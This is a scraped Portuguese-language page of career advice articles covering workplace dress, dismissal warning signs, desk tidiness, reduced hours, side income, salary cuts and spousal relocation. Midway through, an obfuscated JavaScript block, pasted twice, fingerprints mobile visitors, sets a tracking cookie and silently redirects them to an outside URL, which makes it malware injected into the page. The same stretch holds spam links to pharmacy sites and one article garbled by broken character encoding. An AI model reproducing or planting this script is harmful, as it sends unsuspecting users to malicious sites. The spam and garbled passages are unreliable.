Há pessoas que investem na formação profissional intensamente, ao ponto de terem mestrado ou doutorado sem nunca terem tido uma experiência profissional. Entretanto, chegar aos 30 anos com esse histórico pode ser um grande dificultador para se inserir no mercado de trabalho.
Uma razão para isso é que seu contrato não pode mais ser de estagiário e a empresa precisa de profissionais com alguma bagagem prática para atender suas demandas e resultados, e não só de acumuladores de diplomas. Formação e conhecimento são sempre bem vindos e impulsionam novas competências, mas devem ser equilibrados com a experiência prática.
Por isso, é preciso saber conciliar formação e projeto profissional. Fiquei atento e cuide da sua trajetória, trace planos e metas. Fazer um curso atrás do outro pode parecer que você está apenas passando o tempo estudando por falta de oportunidade.
E lembre-se: falta de experiência a partir de certa idade é prejudicial. Se tiver uma atividade profissional, mesmo que informal, não deixa de explicitar isso no currículo. Mas se você colocou tanto foco nos estudos, uma alternativa pode ser ingressar na área acadêmica. Talvez essa seja a trajetória com a qual você mais se identifica e a que poderá lhe dar uma bagagem profissional mais condizente com a formação. Nesse segmento, o mestrado e o doutorado são de fato diferenciais para o profissional.
Estar bem apresentado no ambiente de trabalho é importante para a imagem profissional, mas muitas pessoas confundem boa apresentação com superprodução. É preciso ficar atendo para não pecar pelo excesso.
Em ambientes corporativos, o cuidado com as cores da roupa é um detalhe importante. Como vivemos em um país tropical, um pouco de cor é natural nas roupas, mas é essencial ter cuidado ao usá-las. Evite as estampas muito chamativas e procure usar cores mais sóbrias. O uso de bijuterias também se enquadra nessa questão e deve ser balizado pela discrição. Prefira sempre colares e brincos pequenos e discretos.
Para os homens é fundamental estar sempre com a roupa passada e também seguir um padrão de cores mais discreto. Calças jeans são permitidas a depender do local de trabalho, mas devem ser retas e sem muitos detalhes. Para os que trabalham de paletó, cuidado com as gravatas. Nada de bichinhos estampados ou florais. Pode até ser divertido, mas pode passar a impressão errada.
Para as mulheres, é preciso cuidado com a maquiagem. Ela pode ser uma aliada quando utilizada para esconder imperfeições e ajudam a dar um ar saudável. Mas nada de excessos. Deixe os batons vermelhos para as baladas. E nada de ir para o trabalho parecendo que vai a uma festa. Vestidos provocantes, roupas muito justas ou com transparência não são, de forma alguma, indicados para o ambiente corporativo.
Saltos finos são elegantes, mas se forem muito altos podem prejudicar a coluna. Evite os mais chamativos e se puder escolher os com saltos mais largos verá que são mais confortáveis. Se optar por sapatos sem salto, busque acabamentos em couro e com cores mais sóbrias. Deixe os mais “fashions” para as saídas com os amigos.
E lembre sempre de se perguntar: qual a imagem que quero passar como profissional? Afinal de contas, a aparência é uma ferramenta determinante para causar uma boa impressão. Aprenda a usá-la a seu favor.
Neste momento de instabilidade econômica, é natural que os profissionais queiram se preparar para imprevistos como uma demissão. Mas como saber se você será o próximo na fila do seguro-desemprego?
Existem alguns sinais que podem indicar que as coisas não vão bem para você na empresa. Mas como as pessoas estão mais inseguras e com mais medo de perderem o emprego, elas acabam vendo mais sinais do que, de fato, existem. Por isso, é preciso ter cuidado para não ficar paranoico e minar a sua produtividade.
Seguem então alguns sinais de alerta:
• Repetidas avaliações negativas num curto intervalo de tempo e pouca paciência do chefe para ajudar no processo de melhoria pode ser um dos sinais de uma demissão eminente. Pode existir uma supervalorização dos erros e falhas, como se o gestor quisesse razões para demitir.
• O distanciamento do chefe também é um indicativo. Ele deixa de ter tempo para conversar e orientar. Em outras palavras, a relação do profissional com o gestor esfria. Atritos constantes, dificuldade de entendimento e excesso de mal entendidos podem ser frequentes.
• Fique atento, também, se perceber um esvaziamento de responsabilidades. O seu chefe pode começar a pedir para que outras pessoas façam as tarefas que seriam de sua responsabilidade, por exemplo. Outra prática é o gestor não mais lhe convidar para reuniões importantes das quais você costumava participar.
• A abertura de vagas para profissionais com o seu perfil ou pedido do chefe para que treine alguém para fazer suas atividades quando você sabe que não há possibilidade de aumento de quadro ou que o seu salário está acima do praticado pelo mercado também são indicativos.
• Agora, quando o acesso à empresa e aos sistemas está bloqueado, se não for falha da tecnologia, é demissão certa. O profissional só não foi informado ainda por descuido da empresa.
Caso se depare com algumas dessas situações, o melhor a fazer é chamar o chefe para uma conversa franca e entender o que está acontecendo e ver se tem algo que possa ser feito para reverter a demissão. Mas se essa conversa não é possível e os sinais estão cada dia mais reais, é preciso se preparar, começar a buscar novas oportunidades de emprego e poupar para aumentar a reserva financeira.
E lembre-se: as empresas querem manter em seus quadros profissionais que tenham o seu estilo, que se destacam pelo seu desempenho, têm facilidade de relacionamento e interesse em assumir novas atividades. Correm menos riscos de demissão as pessoas que são proativas e têm iniciativa. Por isso, ao invés de ficar apenas procurando por sinais, foque no seu trabalho e mostre resultados.
Cada profissional possui uma forma particular de organizar seu espaço individual de trabalho. Existem aqueles extremamente organizados e também os que vivem com pilhas de papéis e objetos espalhados. Entretanto, é preciso lembrar que a arrumação e limpeza desses espaços é responsabilidade de cada um e que pequenos cuidados podem fazer toda a diferença para o clima organizacional.
Todos os anos, é fundamental fazer uma reorganização do seu espaço e do material de trabalho. Arquivar pastas não utilizadas, jogar fora papéis que não servem mais e fazer uma limpeza nas gavetas são algumas das atividades que precisam ser realizadas periodicamente.
Sabe-se, entretanto, que no ambiente de trabalho cada pessoa desenvolve uma maneira de ordenar seu espaço de forma a facilitar o processo produtivo. Mas, independente do estilo de cada um, é importante ter alguns cuidados:
• Limite seu espaço para não invadir a mesa do outro, especialmente quando trabalha em “baias”;
• Os espaços coletivos são ótimos para a integração, mas exigem a garantia mínima de um padrão. Evite personalizar demais. Tudo bem usar fotos da família ou do namorado (a) como decoração, mas evite imagens que expõem demais sua vida. Nada de fotos sem camisa ou em trajes mínimos;
• Poder ou não comer na sala de trabalho vai variar de acordo com as normas da empresa, mas mesmo quando é permitido, você deve evitar levar alimentos com odor forte. Por via das dúvidas, é melhor dar uma pausa para fazer o lanche na copa ou em outro local mais apropriado;
• Caso faça um lanche no espaço de trabalho, descarte o lixo imediatamente. Afinal, ninguém quer uma mesa com restos de comida e formigas em cima;
• Quando terminar um trabalho, arquive imediatamente os documentos. Assim, não perderá tempo procurando-os depois.
Por mais banal que pareça, pequenos cuidados com a arrumação no ambiente de trabalho podem garantir uma maior eficácia, otimização na execução de tarefas e até aumentar a motivação do profissional. Além disso, empresas bem ordenadas passam uma sensação de confiabilidade aos clientes.
Muitas empresas estão reduzindo a jornada de trabalho de seus empregados como forma de cortar custos sem realizar demissões. Mas o que o profissional pode ganhar com essa prática?
Neste momento de crise, que tem acarretado em grande diminuição da demanda – especialmente no setor industrial – muitas empresas têm usado como alternativa a redução da jornada de trabalho. Isso pode ser angustiante para o profissional, pois implica também na queda de receita e medo de perder o emprego, caso a situação não se altere.
Entretanto, é preciso não se desesperar e pensar que toda situação de crise pode trazer ganhos. Com o quadro reduzido, o profissional pode aproveitar o momento para aprender mais, já que existe a possibilidade de ser demandado para outras atividades. Além disso, o momento pode se tornar uma oportunidade para mostrar resultados e comprometimento com a empresa.
Mas quando a redução de demanda acontece no setor de varejo, o impacto é imediato e pode resultar na perda do posto de trabalho. O que fazer nesse momento? Uma estratégia pode ser atuar mais ativamente no pós-venda, mantendo contato com seus clientes e informando sobre promoções. Além disso, há segmentos onde é possível usar as horas livres para estudar produtos novos e se atualizar sobre a área.
Já no setor de serviços, pode ser um momento para buscar inovação, tanto no que já é oferecido aos clientes quanto na oferta de novos produtos. E se não for possível aumentar a carteira de clientes, pode-se aprimorar a prestação de serviços para os clientes atuais, procurando entender suas necessidades e ajudando a encontrar alternativas viáveis para eles. Lembre-se que todas as empresas estão em busca de soluções para os mesmos problemas: caixa apertado e redução de demanda. E você pode se tornar essencial na busca por alternativas.
http://sportbettinginsider.com/does-fosamax-have-a-generic/ http://tammam.mhs.narotama.ac.id/2018/02/12/order-lasuna-food/ http://edetresde.es/how-much-claritin-can-i-give-my-dog/
Ai?? muito comum vermos pessoas complementando sua renda com vendas de produtos de beleza, cosmAi??ticos, roupas e bijuterias. Isso normalmente acontece dentro do ambiente de trabalho. Mas quais os cuidados que devem ser tomados para nA?o se prejudicar no emprego?
Em primeiro lugar, procure saber se essa prA?tica Ai?? permitida. NinguAi??m estA? isento de conhecer as normas da empresa, ou seja, nA?o se pode usar o ai???nA?o sabiaai??? como desculpa. Seja discreto na hora de oferecer os produtos e tenha cuidado se for ofertA?-los para clientes da empresa. Pode ser ruim para a imagem da organizaAi??A?o e para a sua como profissional. Prefira ter os colegas de trabalho como clientes.
NA?o deixe de cumprir suas atividades. Queda de produtividade Ai?? inaceitA?vel. Por isso, procure vender no intervalo ou na hora do almoAi??o. E nA?o seja insistente. Lembre-se que seus colegas lhe encontram todos os dias. Nada de ser aquela pessoa chata que fica oferecendo algo que o outro nA?o quer.
Cumprir as entregas Ai?? fundamental. Sua credibilidade no ambiente de trabalho pode ficar prejudicada se nA?o o fizer. Se houver algum atraso nos produtos, informe as razAi??es. E tenha cuidado redobrado na hora de cobrar o pagamento. Acerte as datas previamente e assegure que o colega entendeu a forma de desembolso. NA?o se pode criar um ambiente hostil dentro do trabalho. Se for necessA?rio, resolva as pendA?ncias fora do expediente.
var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}
Atualmente, muitas pessoas estão procurando atividades profissionais alternativas para sobreviver ao período de turbulência econômica. Mas qual é o caminho para deixar de lado a vergonha e encontrar um novo modo de complementar a renda?
É comum nos dias de hoje encontrarmos profissionais que deixaram de ser executivos e montaram pequenos negócios a partir de hobbies ou habilidades que já tinham. Temos como exemplos desse cenário a crescente oferta de produção de doces, a abertura de food trucks, o atendimento personalizado de motoristas e a venda de produtos artesanais.
Em tempos nos quais se reempregar está difícil, aqueles que criaram uma alternativa para sobreviver estão conseguindo passar pela turbulência com menos atropelo. Lógico que não é fácil sair da estabilidade e do campo profissional para o qual se formou, mas sobreviver é fundamental e a atitude de buscar outra atividade é louvável e merece aplausos.
Se decidir seguir este caminho, comece se perguntando quais das suas habilidades podem ser rentáveis ou se você pode oferecer algum serviço que mercado demanda. Alguns exemplos de renda extra que você pode considerar são dar aulas particulares, revender cosméticos, alugar um quarto vago da sua casa (para quem mora em grandes centros) entre muitas outras coisas.
E nada de ficar envergonhado por ter um mestrado e passar a vender comida. Nem se deixar abater pela mudança de status ou condição financeira. Às vezes, uma porta fechada pode abrir caminho para uma oportunidade que nem imaginávamos. E se depois de passada essa fase você achar que deve voltar a ser empregado, retome seus contatos e se coloque à disposição do mercado.
Com o mercado desaquecido, muitas empresas têm revisto a remuneração de alguns cargos, e é comum vermos profissionais buscando oportunidades com remuneração inferior a recebida anteriormente. Isso exige tanto uma mudança na forma de pensar quanto uma reprogramação das finanças pessoais.
Em primeiro lugar, ao se deparar com uma situação de redução de salário, é importante rever seu estilo de vida e tentar adequá-lo à realidade atual, evitando gastar mais do que o mercado está pagando. A mudança de hábitos é fundamental. Corte despesas como saídas extras, compras desnecessárias e reduza gastos com serviços que não sejam essenciais. Além disso, é possível que precise fazer uma mudança mais radical, como mudar a escola dos filhos, ajustar a lista de supermercado, optando por produtos mais baratos, e até, trocar de plano de saúde.
Esse é um primeiro passo para tentar se preparar mentalmente para um novo estilo de vida. Nada de ficar se lamentando pelo status ou remuneração perdidos. Pense que há muitos profissionais que não conseguem se recolocar rapidamente, e que você tem uma oportunidade de inserção.
Além disso, dentro do emprego atual, você pode mostrar bons resultados e ser reconhecido por isso a longo prazo, tanto com avanços na remuneração como com oportunidades de promoção. Por isso, ter uma postura positiva é fundamental.
Abrace o cargo, vista a camisa da empresa e se envolva na busca pelas soluções para as quais você foi contratado. Sua energia deve estar voltada para isso. Evite começar a trabalhar já pensando em buscar outra oportunidade. Assim, você verá que sua postura pode fazer toda a diferença no sucesso profissional.
Muitas empresas têm fechado suas portas ultimamente. Diante desse cenário, é comum que antigos empresários queiram ingressar no mercado de trabalho como empregados. O que pode ajudar nesse processo?
Em primeiro lugar, mudar a forma de pensar é fundamental. Se você está acostumado a ser o dono da empresa, precisa avaliar os prós e contras de passar a ser empregado. Ter uma remuneração estável, poder dividir as responsabilidades com colegas e fazer parte de um time podem ser alguns dos benefícios da inserção.
Mas se reinserir no mercado também exigirá que você tenha horários mais rígidos e precise apresentar resultados efetivos. Você será cobrado pelas entregas e qualidade do seu trabalho e terá um gestor a quem responder. Portanto, será preciso passar por um processo de adaptação.
E para conseguir entrar no mercado é importante seguir algumas dicas: primeiro é preciso cuidar do currículo destacando o que tem de diferencial e deixando claros os seus objetivos profissionais. Além disso, faça uma breve descrição das suas competências. Você precisará também divulgar na sua rede que está procurando uma colocação. Muitos não pensarão em você como uma opção, já que estão acostumados a vê-lo como dono de negócio.
Nas entrevistas, procure conhecer a cultura da empresa contratante e associar o que você tem de diferencial. Lembre-se que o fato de ter sido sócio de uma empresa pode ser uma vantagem, já que quem está acostumado a “pensar como dono” poderá ver necessidades que muitos não enxergam e ter o foco estratégico necessário a qualquer negócio. Entretanto, pode haver um certo receio do contratante sobre sua adaptação à nova realidade. Portanto, esclareça esse ponto na entrevista.
O caminho não é fácil. Recomeçar é sempre um desafio, mas uma experiência “do outro lado da mesa” pode ser bastante rica e gratificant
Quando uma executiva recebe uma oferta de transferência, nem sempre o marido quer ou pode acompanhar. Entretanto, essa situação é cada vez mais comum, e exige do parceiro uma flexibilidade maior.
As configurações familiares mudaram muito nas últimas décadas e cada vez mais vemos mulheres executivas e “chefes” de família. Quando acontece da esposa receber uma oferta para ocupar um cargo em outra cidade ou até país, é preciso que haja o diálogo entre o casal para definir qual é a melhor solução.
Em primeiro lugar, os dois devem analisar os ganhos profissionais e financeiros da oferta e como isso impactará na carreira de ambos e na sustentabilidade da família. Em alguns casos, quando o local de transferência é próximo, a decisão mais tomada é manter marido e filhos, quando houver, na cidade de origem e a executiva passar a semana trabalhando fora, retornando para casa nos fins de semana. Esta é uma situação exigente, mas pode ser uma alternativa.
Nas situações em que a mudança completa de residência é exigida, a executiva pode pedir um apoio da empresa para a recolocação do parceiro, com suporte na inserção no mercado. Oferecer assistência, também, para a instalação na nova cidade e na escolha da escola para os filhos podem ser um diferencial. Além disso, o próprio cônjuge deve ser agente ativo do seu planejamento de carreira e buscar alternativas de inserção na outra cidade. Pode-se, ainda, combinar a ida inicial apenas da profissional e, depois, ir criando as condições para que o cônjuge se recoloque na nova localidade. Em alguns casos, há parceiros que optam inclusive por iniciar uma nova trajetória em outro local, mesmo que isso implique um tempo sem trabalhar.
O fundamental nesse momento é o apoio por parte do parceiro na decisão e na transição da carreira da executiva. Afinal, pode ser que esta seja uma oportunidade de alavancar também a condição financeira familiar e até mesmo, a qualidade de vida. É importante se perguntar: se fosse comigo, como eu gostaria de ser apoiado?